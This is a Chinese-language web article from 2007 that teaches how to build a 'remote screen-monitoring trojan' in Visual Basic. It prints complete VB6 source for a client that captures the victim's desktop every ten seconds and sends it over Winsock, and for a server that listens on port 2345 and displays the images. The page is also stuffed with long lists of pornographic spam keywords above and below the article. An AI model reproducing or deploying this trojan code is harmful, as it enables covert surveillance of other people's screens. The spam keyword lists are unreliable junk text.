国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

教你如何用VB打造遠程屏幕監控木馬
2007-01-18   

本程序思路是通過定時截取屏幕圖形,來作為被控端。源碼如下所示:

Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, 
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) 
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, 
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
 xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, 
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal 
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As 
Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As Long, ScrW As Long, ScrH As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
  Timer1.Enabled = False   '間隔時間獲取圖形
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '這只是方便調試的示例,實用程序中,不用臨時DC,可直接取窗體的BMP,會快一些
  MyHdc1 = CreateCompatibleDC(FrmClient.hdc)
  MyBmp1 = CreateCompatibleBitmap(FrmClient.hdc, ScrW, ScrH)
  MyOldBmp1 = SelectObject(MyHdc1, MyBmp1)
  'Ws2為WinSock控件,用于發送數據   
  'Ws2.RemoteHost = InputBox("請輸入遠程服務器ip地址", "遠程監控測試", "127.0.0.1")
  'Ws2.RemotePort = 2345
  'Ws2.Connect
  Timer1.Interval = 10000
  Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
  'Ws2.Close
  SelectObject MyHdc1, MyOldBmp1
  DeleteObject MyBmp1
  DeleteDC MyHdc1
End Sub
Private Sub Timer1_Timer()
  Dim i As Long, d As Long, b As Long, bm As BITMAP, dat() As Byte, BmpSize As Long
  StartT = Timer
  d = GetDesktopWindow
  i = GetDC(d)
  BitBlt MyHdc1, 0, 0, ScrW, ScrH, i, 0, 0, vbSrcCopy
  ReleaseDC d, i
  GetObj MyBmp1, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim dat(BmpSize - 1)
  GetBitmapBits MyBmp1, BmpSize, dat(0)
  ReDim Preserve dat(BmpSize + 1)
  dat(BmpSize) = 13
  dat(BmpSize + 1) = 10
  'StartT = Timer
  'Ws2.SendData dat
  Debug.Print dat     'dat為獲取到的屏幕圖形數據
End Sub
Private Sub Ws2_Close()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Disconnected.."
  Ws2.Close
End Sub
Private Sub Ws2_Connect()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Connected.."
End Sub
Private Sub Ws2_Error(ByVal Number As Integer, Description As String, ByVal Scode As 
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, 
CancelDisplay As Boolean)
  On Error Resume Next
  StatusBar1.SimpleText = Ws2.RemoteHost & " Error : " & Description
  Ws2.Close
End Sub


'=============================================================
'項目名稱:   Server (遠程屏幕監控端)
'窗口名稱:   FrmServer
'WinSock控件:Ws1
'StatusBar控件:StatusBar1 (注意:StatusBar1.Style = sbrSimple)
'=============================================================


Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, 
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) 
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, 
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
 xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, 
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal 
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As 
Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private ScrW As Long, ScrH As Long
Private MyHdc As Long, MyBmp As Long, MyOldBmp As Long, BmpDat() As Byte, RevByte As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
  
  On Error GoTo ErrLoad
  
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '這只是方便調試的示例,實用程序中,不用臨時DC,可直接取窗體的BMP,會快一些
  MyHdc = CreateCompatibleDC(FrmServer.hdc)
  MyBmp = CreateCompatibleBitmap(FrmServer.hdc, ScrW, ScrH)
  MyOldBmp = SelectObject(MyHdc, MyBmp)
    
  GetObj MyBmp, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim BmpDat(BmpSize - 1)
  GetBitmapBits MyBmp, BmpSize, BmpDat(0)
  WS1.LocalPort = 2345
  WS1.Listen
  
  Exit Sub
  
ErrLoad:
  MsgBox Error
End Sub
Sub getscreen()
End Sub
Private Sub Form_Unload(Cancel As Integer)
  On Error Resume Next
  WS1.Close
  SelectObject MyHdc, MyOldBmp
  DeleteObject MyBmp
  DeleteDC MyHdc
End Sub
Private Sub WS1_Close()
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Disconnected.."
  WS1.Close
  If WS1.State = sckListening Then
    WS1.Close
  Else
    WS1.LocalPort = 2345
    WS1.Listen
  End If
End Sub
Private Sub Ws1_ConnectionRequest(ByVal requestID As Long)
  If WS1.State <> sckClosed Then WS1.Close
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Connecting.."
  WS1.Accept requestID
  If WS1.State = 7 Then StatusBar1.SimpleText = WS1.RemoteHostIP & " Connected.."
End Sub
Private Sub Ws1_DataArrival(ByVal bytesTotal As Long)
  Dim dat() As Byte, i As Long, nTime As Long
  
  On Error Resume Next
  
  WS1.GetData dat, vbArray Or vbByte
  i = InStrB(1, dat, ChrB(13) & ChrB(10))
  If i > 0 Then
    'StartT = Timer
    If i > 1 Then CopyMemory BmpDat(RevByte), dat(0), i - 1
    SetBitmapBits MyBmp, UBound(BmpDat) + 1, BmpDat(0)
    RevByte = 0
    '實用程序中,不用臨時DC,下面一步可省
    BitBlt Me.hdc, 0, 0, Me.ScaleWidth, Me.ScaleHeight, MyHdc, 0, 0, vbSrcCopy
    nTime = Timer - Val(Me.Caption)
    Me.Caption = Timer - StartT
    If Len(StatusBar1.SimpleText) < 255 Then
        StatusBar1.SimpleText = nTime & "," & StatusBar1.SimpleText
    Else
        StatusBar1.SimpleText = nTime
    End If
    If bytesTotal > i + 1 Then
        RevByte = bytesTotal - i - 1
        CopyMemory BmpDat(0), dat(i + 1), RevByte
    End If
  Else
    CopyMemory BmpDat(RevByte), dat(0), bytesTotal
    RevByte = RevByte + bytesTotal
  End If
  
End Sub
Private Sub WS1_Error(ByVal Number As Integer, Description As String, ByVal Scode As 
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, 
CancelDisplay As Boolean)
  StatusBar1.SimpleText = ("Error : " & Description)
End Sub
責任編輯: 雪花(TEL:(010)68476636-8008)

熱詞搜索:

上一篇:教你如何打造一道超級防御的電腦防火墻
下一篇:淺談軟件的脫殼的方法

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
美女免费视频一区二区| 91在线视频官网| 欧美精品久久天天躁| 亚洲 欧美综合在线网络| 欧美三级在线视频| 婷婷开心激情综合| 日韩女优制服丝袜电影| 久久狠狠亚洲综合| 国产亚洲1区2区3区| 成人h动漫精品一区二区| 中文字幕在线观看不卡| caoporn国产一区二区| 最新日韩av在线| 欧美一区二区三区在线看| 国内精品视频666| 亚洲日本一区二区三区| 日韩小视频在线观看专区| 蜜臀国产一区二区三区在线播放| gogo大胆日本视频一区| 婷婷开心激情综合| 国产精品久久久一本精品| 欧美撒尿777hd撒尿| 国产精品一区二区在线看| 日韩欧美aaaaaa| av网站免费线看精品| 麻豆91小视频| 久久精品国产久精国产| 国产精品国产a级| 91精品蜜臀在线一区尤物| 成人免费视频网站在线观看| 亚洲成a人片在线不卡一二三区 | 大陆成人av片| 国内精品视频一区二区三区八戒| 亚洲欧美自拍偷拍色图| 久久久一区二区三区捆绑**| 欧美日韩日日骚| 91视频免费观看| 91在线无精精品入口| av一本久道久久综合久久鬼色| 狠狠色丁香婷婷综合| 日本不卡123| 美女尤物国产一区| 日本欧美一区二区三区乱码| 亚洲精品精品亚洲| 亚洲女女做受ⅹxx高潮| 国产精品久久久久久久久晋中| 亚洲精品一区在线观看| 久久久国产一区二区三区四区小说 | 91精品国产一区二区人妖| 欧美疯狂做受xxxx富婆| 欧美精品xxxxbbbb| 欧美日韩一二三| 在线成人免费观看| 精品国产乱码久久久久久图片 | 青青国产91久久久久久| 青青青伊人色综合久久| 久久国产综合精品| jlzzjlzz亚洲日本少妇| 欧美电影一区二区三区| 国产欧美一区在线| 亚洲精品高清在线| 久久精品国产一区二区三| 成人一区二区三区中文字幕| 一本色道a无线码一区v| 日韩欧美中文字幕公布| 国产欧美日韩视频一区二区| 亚洲图片欧美一区| 国产成人免费视频网站高清观看视频 | 成人性色生活片| 欧美一区二区在线看| 国产精品久久777777| 日韩不卡一二三区| 色久综合一二码| 国产清纯白嫩初高生在线观看91| 亚洲一区二区三区免费视频| 国产精品一区二区无线| 日韩欧美国产wwwww| 亚洲男人的天堂在线观看| 国内精品久久久久影院色| 欧美亚洲国产怡红院影院| 国产精品久久久一本精品| 国产原创一区二区| 7777女厕盗摄久久久| 午夜伦欧美伦电影理论片| 99精品偷自拍| 国产婷婷色一区二区三区| 久久成人av少妇免费| 欧美日韩成人激情| 亚洲精品久久久蜜桃| 色综合久久88色综合天天免费| 日本一区二区免费在线观看视频| 极品销魂美女一区二区三区| 欧美一区二区在线视频| 人人超碰91尤物精品国产| 欧美一二三四区在线| 久久精品国产精品亚洲红杏| 日韩欧美国产成人一区二区| 黄网站免费久久| 久久亚洲影视婷婷| 成人国产精品免费观看动漫| 国产精品欧美经典| 91久久人澡人人添人人爽欧美 | 自拍偷在线精品自拍偷无码专区| 99久久精品免费看| 午夜影院在线观看欧美| 久久久蜜桃精品| 91在线观看美女| 丝袜美腿一区二区三区| 欧美mv和日韩mv的网站| 成人av网站免费观看| 亚洲午夜电影网| 精品久久久久久久一区二区蜜臀| 9i在线看片成人免费| 蜜桃av噜噜一区二区三区小说| 国产午夜久久久久| 3d成人h动漫网站入口| 99亚偷拍自图区亚洲| 久久成人综合网| 1区2区3区欧美| 欧美va亚洲va在线观看蝴蝶网| 99久久精品国产观看| 激情深爱一区二区| 午夜精品一区二区三区三上悠亚| 国产欧美日韩视频在线观看| 欧美精品 国产精品| 91亚洲男人天堂| 国产不卡在线播放| 久久国产精品露脸对白| 亚洲va欧美va国产va天堂影院| 国产女人18毛片水真多成人如厕| 日韩一区二区三区四区| 欧美性淫爽ww久久久久无| av在线不卡电影| av电影在线不卡| 91在线视频网址| 在线观看一区二区精品视频| 91亚洲精华国产精华精华液| 91在线免费看| 色成人在线视频| 在线观看国产一区二区| 欧美视频在线一区二区三区| 欧美在线观看视频在线| 欧美一区二区三区视频免费播放| 欧美日韩精品一区二区三区四区| 在线不卡中文字幕| 欧美成人猛片aaaaaaa| 欧美一区二区精品| 精品久久久三级丝袜| 国产日韩欧美精品综合| 亚洲欧美另类综合偷拍| 午夜精品福利在线| 久久精品国产999大香线蕉| 韩国三级电影一区二区| 国产1区2区3区精品美女| 91亚洲午夜精品久久久久久| 欧美日韩视频第一区| ww亚洲ww在线观看国产| 亚洲欧美一区二区三区孕妇| 首页亚洲欧美制服丝腿| 国产一区视频导航| 91在线视频观看| 日韩视频免费直播| 欧美极品aⅴ影院| 亚洲影院免费观看| 国产激情一区二区三区桃花岛亚洲 | 国产女人aaa级久久久级| 亚洲一区av在线| 国产麻豆精品95视频| 国产亚洲自拍一区| 午夜视频在线观看一区二区| 国产成+人+日韩+欧美+亚洲| 精品视频123区在线观看| 欧美国产日韩精品免费观看| 日韩av电影免费观看高清完整版在线观看| 激情深爱一区二区| 欧美人妇做爰xxxⅹ性高电影| 欧美国产精品v| 国产一区二区在线看| 欧美一区二区在线免费观看| 亚洲激情在线播放| 不卡av在线网| 国产欧美一区二区精品久导航 | 视频一区在线播放| 在线看一区二区| 亚洲免费资源在线播放| 不卡视频一二三| 日本一区二区三区dvd视频在线| 免费在线观看成人| 日韩欧美国产一区在线观看| 日本在线不卡视频| 欧美成人一区二区三区| 麻豆成人av在线| 精品国产一区二区三区四区四| 五月激情综合网| 日韩美女在线视频 | 午夜精品一区二区三区免费视频 | 国产在线精品一区二区夜色| 欧美xxxxx牲另类人与| 国产一本一道久久香蕉| 国产精品毛片高清在线完整版|